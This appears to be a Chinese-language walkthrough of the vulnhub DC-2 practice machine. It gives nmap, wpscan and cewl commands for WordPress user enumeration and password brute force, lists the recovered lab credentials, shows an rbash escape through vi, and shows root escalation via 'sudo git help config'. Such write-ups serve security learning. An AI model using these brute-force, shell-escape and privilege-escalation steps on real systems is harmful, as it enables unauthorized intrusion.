[vulhub靶机通关]DC-2(rbash绕过_git提权)

实验步骤

1.信息收集

主机探测

plain 复制代码
nmap -sP 192.168.89.0/24

端口扫描

80和ssh是开着的

但发现打不开网站 会重定向到dc-2 我们修改本地的hosts

找到了flag1

提示我们要用cewl 发现网页使用的是wordpress cms

我们用wpscan 扫描网页

plain 复制代码
wpscan -url http://dc-2 -e u

找到了用户名

在用cewl去扫描网站找到密码

plain 复制代码
cewl http://dc-2 -w password.txt
plain 复制代码
wpscan --url http://dc-2 -U user.txt -P password.txt

找到了jerry和tom的密码

plain 复制代码
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

我们把网站进行目录扫描

plain 复制代码
dirb http://dc-2

找到了登陆页面

我们用tom的身份登陆进去 发现什么都没有 用jerry去登录

找到了flag2 提示我们exp不能用 我们试着ssh去连接

plain 复制代码
ssh tom@192.168.89.146 -p 7744

2.rbash绕过 提权

plain 复制代码
RBASH 绕过
什么是 RBASH
RBASH 是 Restricted BASH 的缩写,意思是受限制的 BASH。

RBASH 是一种特殊的 shell,它限制了用户的一些操作和权限,例如:

不能使用 cd 命令来改变当前目录。

不能使用 set 命令来改变环境变量或 shell 选项。

不能使用 unset 命令来取消环境变量或 shell 函数。

不能使用任何包含 / 符号的命令,除非它们在 PATH 环境变量中指定了。

不能重定向输入或输出,例如使用 >, <, >>, << 等符号。

只能执行 PATH 环境变量中指定的命令,而且 PATH 环境变量通常只包含一些基本的命令,例如 ls, cat, echo 等。

RBASH 的目的是为了提高系统的安全性,防止用户执行一些危险或不合法的操作。

需要绕过rbash

可以使用的命令是vi

plain 复制代码
vi:set shell=/bin/sh
运行shell:shell

执行后会绕过rbash
我们在添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
plain 复制代码
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

提示我们需要su 到jerry用户里

plain 复制代码
BASH_[x]=/bin/bash
x
这样也可以绕过
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

在jerry家目录下找到了flag4

提权到root 使用git提权

plain 复制代码
sudo git help config
	!/bin/bash或者!'sh'完成提权
 
sudo git  -p help
	!/bin/bash

在root目录下找到了最终flag

相关推荐
GTgiantech2 小时前
科普SFP 封装光模块教程
服务器·网络·数据库
万事大吉CC3 小时前
SQL表设计与约束教程
数据库·sql
麦烤楽鸡翅3 小时前
幂数加密(攻防世界)
网络安全·密码学·ctf·crypto·解密·攻防世界·幂数加密
椰羊sqrt3 小时前
CVE-2025-4334 深度分析:WordPress wp-registration 插件权限提升漏洞
android·开发语言·okhttp·网络安全
0和1的舞者3 小时前
网络通信的奥秘:HTTP详解 (七)
服务器·网络·网络协议·http·okhttp·软件工程·1024程序员节
Ashlee_code3 小时前
BSS供应商:电信与金融领域的幕后支撑者
大数据·网络·金融·系统架构·跨境·金融机构·场外期权
民乐团扒谱机4 小时前
实验室安全教育与管理平台学习记录(七)网络安全
学习·安全·web安全
节点小宝4 小时前
节点小宝免费版流量机制解析:点对点直连技术与备用流量设计
网络·网络协议·p2p
ANGLAL5 小时前
17.MyBatis动态SQL语法整理
java·sql·mybatis